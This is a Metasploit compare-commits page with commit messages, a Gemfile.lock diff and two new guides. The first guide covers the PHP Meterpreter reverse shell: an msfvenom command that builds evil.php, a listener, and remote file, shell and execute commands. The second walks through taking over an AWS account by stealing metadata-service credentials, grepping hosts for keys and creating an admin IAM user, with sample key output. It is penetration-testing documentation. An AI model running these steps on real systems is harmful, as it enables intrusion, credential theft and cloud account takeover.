Compare commits

...

136 Commits

Author SHA1 Message Date
jinq102030 f29c9a7c45 Merge pull request #7716 from acammack-r7/smtp-deliver-ssl
Make SMTP delivery work with a range of server SSL
2016-12-16 08:58:55 -06:00
David Maloney 8b02f422f7 add meterpreter cmd interaction to console
add the -C flag to the sessions command to trigger
meterpreter commands on sessions without going
full interactive
2016-12-15 23:17:06 -06:00
Adam Cammack 47df88a5cc Make SMTP delivery work with a range of server SSL 2016-12-15 16:57:08 -06:00
William Vu 4a1f881f10 Land #7715, Rex::Ui::Text::Table rename
Should be Rex::Text::Table because of #7200.
2016-12-15 15:37:22 -06:00
Brent Cook 52346c3fa8 fix renamed rex text 2016-12-15 15:31:00 -06:00
wchen-r7 4ebf57ac50 Land #7712, Add php/meterpreter/reverse_tcp KB 2016-12-15 15:17:00 -06:00
wchen-r7 511e421b9c Move doc to the correct directory 2016-12-15 15:16:11 -06:00
David Maloney ca1cc11d9f Land #7713, scriptkittie fix for SessionLogging
lands a fix for loggers not handling a nil message
Fix for #7687
2016-12-15 14:42:40 -06:00
David Maloney e7eece60d8 add a nil catch to timestamp file sink
an additional nil guard is needed here just to be sure
2016-12-15 14:41:49 -06:00
cypher 27ba8f00df check for nil msg in print_error 2016-12-14 21:10:10 -08:00
Carter f377774de0 Create reverse_tcp.md 2016-12-14 11:45:16 -05:00
Brent Cook fa016de78a Land #7634, Implement universal HTTP/S handlers for Meterpreter payloads 2016-12-13 18:13:22 -06:00
Brent Cook 082a8949e4 Land #7694, Initial stageless mettle payloads 2016-12-12 13:01:31 -06:00
Jon Hart 7aa743b205 Land #7682, @godinezj's improvements to #7604 2016-12-12 10:54:15 -08:00
Jon Hart 446cb02ebc Document IAM_PASSWORD option 2016-12-12 10:43:27 -08:00
William Vu cfca18906f Land #7702, persistence script platform fix 2016-12-11 19:35:43 -06:00
OJ 462e91ed22 Fix persistence script to work with new platform changes 2016-12-12 11:20:23 +10:00
Adam Cammack ccba73b324 Add stageless mettle for Linux/zarch 2016-12-09 18:30:52 -06:00
Adam Cammack 24cf756f5b Add stageless mettle for Linux/x86 2016-12-09 18:29:34 -06:00
Adam Cammack 62a9a31222 Add stageless mettle for Linux/x64 2016-12-09 18:28:29 -06:00
Adam Cammack 7d36d41b20 Add stageless mettle for Linux/ppc64le 2016-12-09 18:27:22 -06:00
Adam Cammack ee7d5fc0c9 Add stageless mettle for Linux/ppc 2016-12-09 18:25:57 -06:00
Adam Cammack 4570a7198c Add stageless mettle for Linux/mipsle 2016-12-09 18:24:12 -06:00
Adam Cammack 25b069f6b4 Add stageless mettle for Linux/mipsbe 2016-12-09 18:23:03 -06:00
Adam Cammack 7aec68c1fe Add stageless mettle for Linux/mips64 2016-12-09 18:21:52 -06:00
Adam Cammack 7a654ca76c Add stageless mettle for Linux/armle 2016-12-09 18:19:58 -06:00
Adam Cammack b74482aa6e Add stageless mettle for Linux/armbe 2016-12-09 18:18:22 -06:00
Adam Cammack 12b296ab1a Add stageless mettle for Linux/aarch64 2016-12-09 18:05:34 -06:00
William Vu f0dca7abbf Land #7692, print_error for error_sql_injection 2016-12-09 17:09:52 -06:00
William Vu 2b0bce6459 Land #7690, drupal_views_user_enum user count fix 2016-12-09 16:55:01 -06:00
William Vu 4e235be484 Ensure a trailing slash for base_uri
Technically, the GET parameters should be in vars_get, but we don't want
to refactor the entire module right now.
2016-12-09 16:53:58 -06:00
Jin Qian 8780c325a7 Fixed issues #7691, silent exit.
Add a print statement to alert user what is missing, user could be confused that "show missing" is empty yet something is missing.
2016-12-09 16:20:44 -06:00
dmohanty-r7 77dd952370 Land #7592, check nil return value when using redis_command 2016-12-09 16:07:12 -06:00
Jin Qian 17c12a78f5 Fixed issue #7689, count of found users not accurate
In module drupal_views_user_enum, the count of found users is not accurate.
Fixed it by doing flatten before doing counting.
2016-12-09 15:19:43 -06:00
Metasploit 12af07d8cb Bump version of framework to 4.13.7 2016-12-09 10:03:22 -08:00
David Maloney a267101413 Land #7670, bwatter's fix for prompt newline
land's brendan's fix for console output getting truncated
2016-12-09 10:44:46 -06:00
Brent Cook 50f95f9940 Land #7681, Get ready for stageless mettle 2016-12-09 09:31:47 -06:00
Brent Cook 6dcdf74850 bump mettle gem 2016-12-09 09:27:56 -06:00
Javier Godinez e9ce622db7 Updated README 2016-12-08 16:39:28 -08:00
Javier Godinez e0a06bb315 Updated README 2016-12-08 16:31:37 -08:00
Javier Godinez 0d41160b03 Sanity checks, errors out with nil ptr if API call fails 2016-12-08 16:14:10 -08:00
Javier Godinez a17d1a7e19 Added options for setting the PASSWORD and GROUPNAME 2016-12-08 16:13:31 -08:00
James Lee b9a7ed915a Land #7677, make sure the source file gets closed
... when downloading a file.
2016-12-08 16:50:23 -06:00
Adam Cammack eeef8fa6ad Add new arches to UUIDs 2016-12-08 16:29:43 -06:00
Jon Hart 4614b7023d Land #7604, @godinezj's post module for creating AWS IAM accounts 2016-12-08 14:26:22 -08:00
Jon Hart aa29fcad80 Update docs and pretty print the loot 2016-12-08 14:25:07 -08:00
godinezj 35340ece94 Merge pull request #2 from jhart-r7/pr/fixup-7604
More cleanup, allow setting of password for console access
2016-12-08 13:33:07 -08:00
Jon Hart 70668c289f Use better loot args 2016-12-08 13:14:36 -08:00
Jon Hart 3e412a8de3 Start documenting api/console create options 2016-12-08 12:59:54 -08:00
Jon Hart 162204b338 Support creating a password for the user, etc 2016-12-08 12:56:00 -08:00
Jon Hart aaa49550a7 Move call_api printing to verbose 2016-12-08 11:20:53 -08:00
Artem 9a7c0eb7b6 Fix cloe file 2016-12-08 21:28:39 +03:00
wchen-r7 ba9ce3fcfb Land #7665, Add ABORT_ON_LOCKOUT option for smb_login 2016-12-07 15:52:50 -06:00
Pearce Barry 657fadbe01 Land #7662, Payload Handler Console Command 2016-12-07 14:48:44 -06:00
Brendan 7dd2d3e226 Fix the prompt again 2016-12-07 14:32:54 -06:00
David Maloney 74b3a00035 fix payload datastore merge
fix the way we merge the payload datastore in so
the options actually take
2016-12-07 14:04:42 -06:00
Javier Godinez 33add4c11f Updated spec to match latest changes 2016-12-07 11:32:08 -08:00
Javier Godinez ee0e5e8681 Updated README 2016-12-07 11:22:47 -08:00
Javier Godinez a9cb08a352 Token should be passed as nil if not set 2016-12-07 10:16:41 -08:00
Javier Godinez 99ba1e45ff Removed unused params 2016-12-07 10:10:09 -08:00
Metasploit a54c0c4e1f Bump version of framework to 4.13.6 2016-12-07 09:00:16 -08:00
godinezj 48c9e7dfd5 Merge pull request #1 from jhart-r7/pr/fixup-7604
Initial cleanup for #7604
2016-12-06 22:03:25 -08:00
William Vu 630d87907c Land #7666, metasploit-payloads 1.2.4 update 2016-12-06 23:12:45 -06:00
OJ b902b4c28a Update payload sizes 2016-12-07 15:08:45 +10:00
OJ a99042a54d Update Gemfile.lock 2016-12-07 14:58:27 +10:00
OJ fc1d601d13 Bump the payloads version to 1.2.4 2016-12-07 14:57:05 +10:00
Rich Whitcroft d3a8409a49 prevent further lockouts in smb_login 2016-12-06 21:53:08 -05:00
Jon Hart 1c3f0437ed Move some options back to non-advanced 2016-12-06 17:39:37 -08:00
Jon Hart 0b46e90bbb Only print out AWS API responses when in verbose mode 2016-12-06 17:32:48 -08:00
Jon Hart a13382c80b Address most of rubocop's nits 2016-12-06 17:10:34 -08:00
Jon Hart 8f21a1f68c move most options to advance, since they never change
Also, doc empty username
2016-12-06 16:29:00 -08:00
Adam Cammack c5641c9681 Factor out mettle configuration
Also cleans up some stuff: s/url/uri/ and base-64 encodes UUIDs
2016-12-06 18:28:48 -06:00
David Maloney 606232828f freeze punk, it's rubocop!
rubocop autocrrecting a bunch of stuff *fingers crossed*
2016-12-06 17:17:56 -06:00
David Maloney dc53057639 more bcook fixes
the rebase lost some of these
2016-12-06 17:14:22 -06:00
David Maloney c8f6ac99a1 reapply bcook's indentation fixes 2016-12-06 16:52:46 -06:00
David Maloney d3225ce2fb Merge branch 'master' into feature/handler-command 2016-12-06 16:51:57 -06:00
Brent Cook f734031804 Land #7655, Refactor/cleanup core command dispatcher 2016-12-06 16:38:42 -06:00
Brent Cook d091a32be8 whitespace/indentation 2016-12-06 16:37:22 -06:00
David Maloney b553e26117 adjust cuke feature for help cmd
add the handler command to the expected output
from help
2016-12-06 15:31:17 -06:00
Adam Cammack 1ec7474067 Don't embed ELFs in ELF templates 2016-12-06 14:14:40 -06:00
David Maloney 62f0e7b20a add the handler console command
sometimes, as a user, you need to start a handler
but don't want to exit your current console context.
The new handler command allows a user to spin up a handler
in background job without switching contexts
2016-12-06 14:04:39 -06:00
Brent Cook 66363f1643 Land #7625, add meterpreter 'cp' command and copy primitives 2016-12-06 07:20:21 -06:00
Brent Cook 7346223a65 update payloads 2016-12-06 07:16:44 -06:00
Brent Cook b4a2a6ed60 Merge remote-tracking branch 'upstream/master' into land-7625- 2016-12-06 06:23:32 -06:00
OJ 2839b198ba Update payload spec to include multi payloads 2016-12-06 11:22:12 +10:00
OJ ffee0ff1b6 Fix payload cache size issue, fix shell/bind payloads 2016-12-06 11:12:02 +10:00
Metasploit 7edb5e19e2 Bump version of framework to 4.13.5 2016-12-05 15:09:06 -08:00
David Maloney ce23c2db53 why is this test so whitespace sensitive? 2016-12-05 12:18:58 -06:00
David Maloney d8af532407 offs 2016-12-05 12:08:51 -06:00
David Maloney e2a646f9d3 i hate you cucumber 2016-12-05 11:44:13 -06:00
David Maloney 85a3889eea trying to get cucumber passing again 2016-12-05 11:36:40 -06:00
David Maloney f56c7f9a8e cosmetic touchups 2016-12-05 11:25:56 -06:00
David Maloney d85f9880ff fix command dispatcher specs 2016-12-05 11:16:15 -06:00
David Maloney ab2e88a49e created modules command dispatcher
moved all commands related to navigating around
modules, editing them, and viewing their info into
a new command dispatcher
2016-12-05 10:30:18 -06:00
David Maloney 6557a84784 add resource command dispatcher
move resource script related commands into
their own command dispatcher
2016-12-05 09:20:07 -06:00
David Maloney 2008dcb946 create jobs command dispatcher
split the jobs related commands into their own
command dispatcher to start cleaning up the 'core'
dispatcher
2016-12-05 09:12:52 -06:00
OJ 917b45664b Merge LURI fix from timwr 2016-12-02 08:01:12 +10:00
Tim 5a2eb29a1b remove unused generate_small_uri 2016-12-01 18:33:36 +08:00
Tim 4da614532b fix luri 2016-12-01 18:22:13 +08:00
OJ 72a20ce464 Merge timwr's changes that fix android/reverse_http 2016-12-01 09:59:41 +10:00
OJ 8f077e1bf5 Merge timwr's changes for autoloading android 2016-12-01 09:58:54 +10:00
Tim 78480e31e7 remove AutoLoadAndroid 2016-11-30 21:23:14 +08:00
Tim b494d069f7 fix android/meterpreter/reverse_https 2016-11-30 20:53:09 +08:00
Tim 92751714c1 fix android/meterpreter/reverse_http 2016-11-30 20:12:00 +08:00
OJ bdc2e7c3cd Fix missing stager_config functions, payload sizes 2016-11-30 16:11:51 +10:00
OJ 3fad75641d Final touches to make MSF happy with all refactorings 2016-11-30 11:30:59 +10:00
Javier Godinez 497e02955b Fixed checking for access keys being retrieved 2016-11-29 11:08:55 -08:00
OJ 834756c337 Rework android structure to function with the multi arch payload 2016-11-29 17:55:31 +10:00
Tim 090dac6d24 make the stdapi_fs_file_move test unconditional 2016-11-29 14:37:19 +08:00
Tim 94a15920ec add test for file copy 2016-11-29 14:36:03 +08:00
Tim 468bf4696f stdapi_fs_file_copy 2016-11-29 13:56:27 +08:00
OJ bdfaaf01b2 Make multi work with https 2016-11-29 15:51:38 +10:00
OJ bd8f8fd6cb More rework of payload structure to handle multi arch handlers 2016-11-29 15:21:13 +10:00
OJ beca63645e Revamp of java payload structure 2016-11-29 11:54:30 +10:00
Javier Godinez cb0313642b Fixed setting IAM_USERNAME 2016-11-29 00:54:49 +00:00
Javier Godinez 46ce1dfaab Now using random string as IAM_USERNAME unless specified 2016-11-28 16:32:53 -08:00
Javier Godinez f8789fef38 Moved METADATA_IP to advanced options 2016-11-28 16:32:26 -08:00
Javier Godinez a49a983079 Removed reference to not yet existing module 2016-11-28 16:31:51 -08:00
OJ e8d7a074fa Tweak to stageless handling for python payloads 2016-11-29 07:54:51 +10:00
Javier Godinez 53a66585cf Removed dubious unit test 2016-11-28 10:07:18 -08:00
OJ 5e8a47ac00 Merge upstream/master into universal handler work 2016-11-28 15:26:43 +10:00
OJ 496836fc06 Remove debug junk, rejig order of ops in initializer 2016-11-28 15:25:07 +10:00
OJ e8158bd200 Add multi platform type, wire into the multi stage 2016-11-28 09:34:09 +10:00
Javier Godinez 83e0a21a52 Added unit tests 2016-11-24 21:04:17 -08:00
Javier Godinez 0700b17f7e Added sanity checks 2016-11-24 21:04:10 -08:00
Javier Godinez b4add59a3d Moved metadata_creds() so Client can be included in Aux/Post modules 2016-11-24 21:03:38 -08:00
OJ 5fdd5a7326 More progress on http universal staged handler 2016-11-25 13:00:35 +10:00
Javier Godinez c48587066d Added reference and minor fixes 2016-11-23 10:58:37 -08:00
Javier Godinez 43e1b5bdd1 Adds module to create an AWS IAM user from a pwned AWS host 2016-11-22 14:55:03 -08:00
Javier Godinez 0eaeeb4aa7 Adds a generic AWS client module 2016-11-22 14:54:18 -08:00
OJ c606eabbb9 Merge 'upstream/master' into universal-handlers 2016-11-22 14:06:46 +10:00
wchen-r7 83a3a4e348 Fix #7463, check nil return value when using redis_command
Fix #7463
2016-11-21 15:52:12 -06:00
OJ b0970783ff Another interim commit moving towards universal handlers 2016-11-04 13:25:02 +10:00
OJ 09d9733a75 Interim commit while working on multi payloads 2016-11-03 06:44:39 +10:00
OJ cc8c1adc00 Add first pass of multi x86 http/s payload (not working yet) 2016-11-03 02:44:53 +10:00
OJ 494b4e67bd Refactor http/s handler & payloads
This commit moves much of the platform-specific logic from the
reverse_http handler down into the payloads. This makes the handler
a bit more agnostic of what the payload is (which is a good thing).
There is more to do here though, and things can be improved.

Handling of datastore settings has been changed to make room for the
ability to override the datastore completely when generating the
payloads. If a datastore is given via the `opts` then this is used
instead otherwise it falls back to the settings specified in the usual
datatstore location.

Down the track, we'll have a payload that supports multiple stages, and
the datastore will be generated on the fly, along with the stage itself.
Without this work, there's no other nice way of getting datastore
settings to be contained per-stager.
2016-11-02 11:33:59 +10:00
129 changed files with 5156 additions and 2372 deletions
+10 -10
View File
@@ -1,7 +1,7 @@
PATH
remote: .
specs:
metasploit-framework (4.13.4)
metasploit-framework (4.13.7)
actionpack (~> 4.2.6)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -14,9 +14,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.2.1)
metasploit-payloads (= 1.2.4)
metasploit_data_models
metasploit_payloads-mettle (= 0.1.2)
metasploit_payloads-mettle (= 0.1.4)
msgpack
nessus_rest
net-ssh
@@ -33,7 +33,7 @@ PATH
rb-readline-r7
recog
redcarpet
rex-arch (= 0.1.2)
rex-arch (= 0.1.4)
rex-bin_tools
rex-core
rex-encoder
@@ -104,7 +104,7 @@ GEM
bcrypt (3.1.11)
bit-struct (0.15.0)
builder (3.2.2)
capybara (2.10.2)
capybara (2.11.0)
addressable
mime-types (>= 1.16)
nokogiri (>= 1.3.3)
@@ -169,7 +169,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.2.1)
metasploit-payloads (1.2.4)
metasploit_data_models (2.0.10)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
@@ -180,7 +180,7 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.1.2)
metasploit_payloads-mettle (0.1.4)
method_source (0.8.2)
mime-types (3.1)
mime-types-data (~> 3.2015)
@@ -232,12 +232,12 @@ GEM
activesupport (= 4.2.7.1)
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rake (11.3.0)
rake (12.0.0)
rb-readline-r7 (0.5.2.0)
recog (2.1.2)
nokogiri
redcarpet (3.3.4)
rex-arch (0.1.2)
rex-arch (0.1.4)
rex-text
rex-bin_tools (0.1.1)
metasm
@@ -250,7 +250,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.3)
rex-exploitation (0.1.4)
jsobfu
metasm
rex-arch
@@ -0,0 +1,154 @@
The php/meterpreter/reverse_tcp is a staged payload used to gain meterpreter access to a compromised system. This is a unique payload in the Metasploit Framework because this payload is one of the only payloads that are used in RFI vulnerabilities in web apps. This module _can_ be cross platform, but the target needs to be able to run php code.
## Vulnerable Application
The PHP Meterpreter is suitable for any system that supports PHP. For example, the module can be used against webservers which run PHP code for a website. OS X has PHP installed by default.
## Deploying php/meterpreter/reverse_tcp
### Scenarios
Specific demo of using the module that might be useful in a real world scenario.
#### Generating a file with msfvenom
```
msfvenom -p php/meterpreter/reverse_tcp LHOST=[IP] LPORT=4444 -f raw -o evil.php
```
#### Starting a listener
```
msf > use multi/handler
msf exploit(handler) > set PAYLOAD php/meterpreter/reverse_tcp
PAYLOAD => php/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST [IP]
```
## Important Basic Commands
Compared to a native Meterpreter such as windows/meterpreter/reverse_tcp, the PHP Meterpreter
has less commands, but here's a list of all the common ones you might need:
**pwd command**
The ```pwd``` command tells you the current working directory. For example:
```
meterpreter > pwd
/Users/thecarterb/Desktop
```
**cd command**
The ```cd``` command allows you to change directories. Example:
```
meterpreter > cd /Users/thecarterb/Desktop
meterpreter > pwd
/Users/thecarterb/Desktop
```
**cat command**
The ```cat``` command allows you to see the content of a file:
```
meterpreter > cat /tmp/data.txt
Hello World!
```
**upload command**
The ```upload``` command allows you to upload a file to the remote target. This is useful for uploading additional payload files. For example:
```
meterpreter > upload /tmp/data.txt /Users/thecarterb/Desktop
[*] uploading : /tmp/data.txt -> /Users/thecarterb/Desktop
[*] uploaded : /tmp/data.txt -> /Users/thecarterb/Desktop/data.txt
meterpreter >
```
**download command**
The ```download``` command allows you to download a file from the remote target to your machine.
For example:
```
meterpreter > download /Users/thecarterb/Desktop/data.txt /tmp/pass.txt
[*] downloading: /Users/thecarterb/Desktop/data.txt -> /tmp/pass.txt/data.txt
[*] download : /Users/thecarterb/Desktop/data.txt -> /tmp/pass.txt/data.txt
meterpreter >
```
**search command**
The ```search``` command allows you to find files on the remote file system. For example,
this shows how to find all text files in the current directory:
```
meterpreter > search -d . -f *.txt
Found 2 results...
.\pass.txt (13 bytes)
./creds\data.txt (83 bytes)
meterpreter >
```
Without the ```-d``` option, the command will attempt to search in all drives.
The ```-r``` option for the command allows you to search recursively.
**getuid command**
The ```getuid``` command tells you the current user that Meterpreter is running on. For example:
```
meterpreter > getuid
Server username: root
```
**execute command**
The ```execute``` command allows you to execute a command or file on the remote machine.
The following examples uses the command to create a text file:
```
meterpreter > execute -f echo -a "hello > /tmp/hello.txt"
Process 73642 created.
meterpreter >
```
**ps command**
The ```ps``` command lists the running processes on the remote machine.
**shell command**
The ```shell``` command allows you to interact with the remote machine's command prompt (or shell).
For example:
```
meterpreter > shell
Process 74513 created.
Channel 2 created.
sh-3.2#
```
If you wish to get back to Meterpreter, do [CTRL]+[Z] to background the channel.
**sysinfo**
The ```sysinfo``` command shows you basic information about the remote machine. Such as:
* Computer name
* OS name
* Architecture
* Meterpreter type
## Using `post` modules
When using the PHP Meterpreter, you have the feature of using Metasploit's `post` modules on that specific session. By default, most `multi` post modules will work; however, you can also use OS specific modules depending on the OS of the compromised system. For example, if you have a PHP Meterpreter session running on OS X, you can use `osx` post modules on that session.
__Don't forget to:__
- Set the `LHOST` datastore option to the connect-back IP Address
- If you want to get multiple shells, set `ExitOnSession` to `false`
@@ -0,0 +1,284 @@
# aws_create_iam_user
aws_create_iam_user is a simple post module that can be used to take over AWS
accounts. Sure, it is fun enough to take over a single host, but you can own all
hosts in the account if you simply create an admin user.
# Background
## Instance Profiles
An Instance Profile is an AWS construct that maps a role to a host (instance).
Not all hosts have instance profiles and/or may have restricted privileges.
AWS roles are composed of policies which specify API calls that the host is
allowed to make.
## Privileges
This module depends on administrators being lazy and not using the least
privileges possible. We often see instances assigned `*.*` roles that allow
any user on the instance to make any API call including creating admin users.
When this occours, a user with long lived credentials can be created and calls
against the AWS API can be made from anywhere on the Internet. Once an account
is taken over in this manner instances can be spun up, other users can be locked
out, networks can be traversed, and many other dangeous things can happen.
Only on rare cases should hosts have the following privileges, these should be
restriced.
* iam:CreateUser
* iam:CreateGroup
* iam:PutGroupPolicy
* iam:AddUserToGroup
* iam:CreateAccessKey
This module will attempt all API calls listed above in sequence. Account takeover
may succeed even if intermediate API calls fail. E.g., we may not be able to
create a new user, but we may be able to create access keys for an existing user.
## Metadata Service
The metadata service is a mechanism the AWS hypervisor employs to pass
information down into hosts. Any AWS host can retrieve information about itself
and its environemtn by curling http://169.254.169.254/. This mechanism is also
used to pass temporary credentials to a host. This module pulls these temporary
credentials and attempts to create a user with admin privileges.
To manually check that a host has an instance profile you can simply curl the
metadata service like so:
```
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
SOME_ROLE_NAME
$ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/SOME_ROLE_NAME
{
"Code" : "Success",
"LastUpdated" : "2016-12-07T18:36:48Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIA
...
```
# Usage
aws_create_iam_user can be used to take over an AWS account given access to
a host having 1). overly permissive instance profile/role, 2). API Access keys.
Once a foothold is established, you can run the module to pull temporary
access keys from the metadata service. If this fails, search the instance for
API access keys, e.g., see ~/.aws/credentials, and set `AccessKeyId`,
`SecretAccessKey`, & `Token` (optional).
## Establish a foothold
You first need a foothold in AWS, e.g., here we use `sshexec` to get the
foothold and launch a meterpreter session.
```
$ ./msfconsole
...
msf > use exploit/multi/ssh/sshexec
msf exploit(sshexec) > set password some_user
password => some_user
msf exploit(sshexec) > set username some_user
username => some_user
msf exploit(sshexec) > set RHOST 192.168.1.2
RHOST => 192.168.1.2
msf exploit(sshexec) > set payload linux/x86/meterpreter/bind_tcp
payload => linux/x86/meterpreter/bind_tcp
msf exploit(sshexec) > exploit -j
[*] Exploit running as background job.
[*] Started bind handler
msf exploit(sshexec) > [*] 192.168.1.2:22 - Sending stager...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Command Stager progress - 42.09% done (306/727 bytes)
[*] Command Stager progress - 100.00% done (727/727 bytes)
[*] Sending stage (1495599 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.1:33750 -> 192.168.1.2:4444) at 2016-11-21 17:58:42 +0000
```
We will be using session 1.
```
msf exploit(sshexec) > sessions
Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter x86/linux uid=50011, gid=50011, euid=50011, egid=50011, suid=50011, sgid=50011 @ ip-19-... 192.168.1.1:41634 -> 192.168.1.2:4444 (192.168.1.2)
```
## Options
By default the module will:
* create a randomly named IAM user and group
* generate API Keys and User password for after
In the event that the session'd AWS instance does not have an IAM role assigned
to it with sufficient privileges, the following options can be used to provide
specific authentication material:
* `AccessKeyId`: set this if you find access keys on the host and instance has no profile/privileges
* `SecretAccessKey`: set this if you find access keys on the host and instance has no profile/privileges
* `Token`: set this if you find access keys on the host and instance has no profile/privileges. This is optional as this signifies temporary keys, if you find these, these are most likely expired.
The following options control the account that is being created:
* `IAM_USERNAME`: set this if you would like to control the username for to user to be created
* `IAM_PASSWORD`: set this if you would like to control the password for the created user
* `CREATE_API`: when true, creates API keys for this user
* `CREATE_CONSOLE`: when true, creates a password for this user so that they can access the AWS console
```
msf exploit(sshexec) > use post/multi/escalate/aws_create_iam_user
msf post(aws_create_iam_user) > show options
Module options (post/multi/escalate/aws_create_iam_user):
Name Current Setting Required Description
---- --------------- -------- -----------
AccessKeyId no AWS access key
CREATE_API true yes Add access key ID and secret access key to account (API, CLI, and SDK access)
CREATE_CONSOLE true yes Create an account with a password for accessing the AWS management console
IAM_GROUPNAME no Name of the group to be created (leave empty or unset to use a random name)
IAM_PASSWORD no Password to set for the user to be created (leave empty or unset to use a random name)
IAM_USERNAME no Name of the user to be created (leave empty or unset to use a random name)
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SESSION yes The session to run this module on.
SecretAccessKey no AWS secret key
Token no AWS session token
```
## Abusing an Overly Permissive Instance Profile
Here we are assuming that we have taken over a host having an instance profile with
overly permissive access. Once a session is established, we can load
`aws_create_iam_user` and specify a meterpreter sesssion,
e.g., `SESSION 1` and run the exploit.
```
msf post(aws_create_iam_user) > set SESSION 1
SESSION => 1
msf post(aws_create_iam_user) > exploit
[*] 169.254.169.254 - looking for creds...
[*] Creating user: gavgpsjXwj5HIxiz
[*] Creating group: gavgpsjXwj5HIxiz
[*] Creating group policy: gavgpsjXwj5HIxiz
[*] Adding user (gavgpsjXwj5HIxiz) to group: gavgpsjXwj5HIxiz
[*] Creating API Keys for gavgpsjXwj5HIxiz
[*] Creating password for gavgpsjXwj5HIxiz
AWS Account Information
=======================
UserName GroupName SecretAccessKey AccessKeyId Password AccountId
-------- --------- --------------- ----------- -------- ---------
gavgpsjXwj5HIxiz gavgpsjXwj5HIxiz oX4csvu3Wun+GqVDzBHQ3FNfv41UhC4ibkLAmaW2 AKIAJRZQ2ENY45KKRBHQ gavgpsjXwj5HIxiz xxxxx
[+] AWS CLI/SDK etc can be accessed by configuring with the above listed values
[+] AWS console URL https://xxxxx.signin.aws.amazon.com/console may be used to access this account
[+] AWS loot stored at: /Users/yyyy/.msf4/loot/20161208140720_default_172.30.0.116_AWScredentials_099259.txt
```
If the host does not have an instance profile or the right access, the output will look like so:
```
[*] 169.254.169.254 - looking for creds...
[*] Creating user: 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateUser on resource: arn:aws:iam::abcd:user/3SFFML3ucP1AyP7J
[*] Creating group: 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateGroup on resource: arn:aws:iam::abcd:group/3SFFML3ucP1AyP7J
[*] Creating group policy: 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:PutGroupPolicy on resource: group 3SFFML3ucP1AyP7J
[*] Adding user (3SFFML3ucP1AyP7J) to group: 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:AddUserToGroup on resource: group 3SFFML3ucP1AyP7J
[*] Creating API Keys for 3SFFML3ucP1AyP7J
[-] User: arn:aws:sts::abcd:assumed-role/msftest/i-abacadab is not authorized to perform: iam:CreateAccessKey on resource: user 3SFFML3ucP1AyP7J
[*] Post module execution completed
```
## Abusing API Access Keys
In the case that the host we have taken over has no instance profile or does not
have the required privileges, we can search the host for access keys with
something like `grep -r AKIA /`. These keys may have admin privileges at which
point you own the account, if not we may be able to escalate privileges.
We can set `AccessKeyId`, `SecretAccessKey`, & `Token` (optional) and rerun
the exploit to test this possibility.
```
msf exploit(sshexec) > use auxiliary/admin/aws/aws_create_iam_user
msf post(aws_create_iam_user) > set AccessKeyId AKIAAKIAAKIAAKIAAKIA
AccessKeyId => AKIAAKIAAKIAAKIAAKIA
msf post(aws_create_iam_user) > set SecretAccessKey jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
SecretAccessKey => jhsdlfjkhalkjdfhalskdhfjalsjkakhksdfhlah
msf post(aws_create_iam_user) > set SESSION 1
SESSION => 1
msf post(aws_create_iam_user) > run
[*] 169.254.169.254 - looking for creds...
[*] Creating user: bZWsmzyupDWxe8CT
[*] Creating group: bZWsmzyupDWxe8CT
[*] Creating group policy: bZWsmzyupDWxe8CT
[*] Adding user (bZWsmzyupDWxe8CT) to group: bZWsmzyupDWxe8CT
[*] Creating API Keys for bZWsmzyupDWxe8CT
[*] Creating password for bZWsmzyupDWxe8CT
AWS Account Information
=======================
UserName GroupName SecretAccessKey AccessKeyId Password AccountId
-------- --------- --------------- ----------- -------- ---------
bZWsmzyupDWxe8CT bZWsmzyupDWxe8CT 74FXOTagsYCzxz0pjPOmnsASewj4Dq/JzH3Q24qj AKIAJ6IVXYRUQAXU625A bZWsmzyupDWxe8CT xxxxx
[+] AWS CLI/SDK etc can be accessed by configuring with the above listed values
[+] AWS console URL https://xxxxx.signin.aws.amazon.com/console may be used to access this account
[+] AWS loot stored at: /Users/yyyy/.msf4/loot/20161208141050_default_172.30.0.116_AWScredentials_636339.txt
[*] Post module execution completed
```
## Next Steps
Information necessary to use the created account is printed to the screen and stored in loot:
```
$ cat ~/.msf4/loot/20161121175902_default_52.1.2.3_AKIA_881948.txt
{
"UserName": "As56ekIV59OgoFOj",
"GroupName": "As56ekIV59OgoFOj",
"SecretAccessKey": "/DcYUf9veCFQF3Qcoi1eyVzptMkVTeBm5scQ9bdD",
"AccessKeyId": "AKIAIVNMYXYBXYE7VCHQ",
"Password": "As56ekIV59OgoFOj",
"AccountId": "xxx"
```
These creds can be used to call the AWS API directly or you can login using the console.
Configuring the CLI:
```
$ aws configure --profile test
AWS Access Key ID [None]: AKIA...
AWS Secret Access Key [None]: THE SECRET ACCESS KEY...
Default region name [None]: us-west-2
Default output format [None]: json
```
Call the API, e.g., get the Account ID:
```
$ aws iam --profile test list-account-aliases
{
"AccountAliases": [
"Account_ID"
]
}
```
Login via the console using the username and password:
Go to the AWS Console at https://Account_ID.signin.aws.amazon.com/console/ and login.
+41 -19
View File
@@ -1,7 +1,7 @@
Feature: Help command
Background:
Given I run `msfconsole --defer-module-loads -x help -x exit`
Given I run `msfconsole --defer-module-loads -q -x help -x exit`
Scenario: The 'help' command's output
Then the output should contain:
@@ -12,51 +12,73 @@ Feature: Help command
Command Description
------- -----------
? Help menu
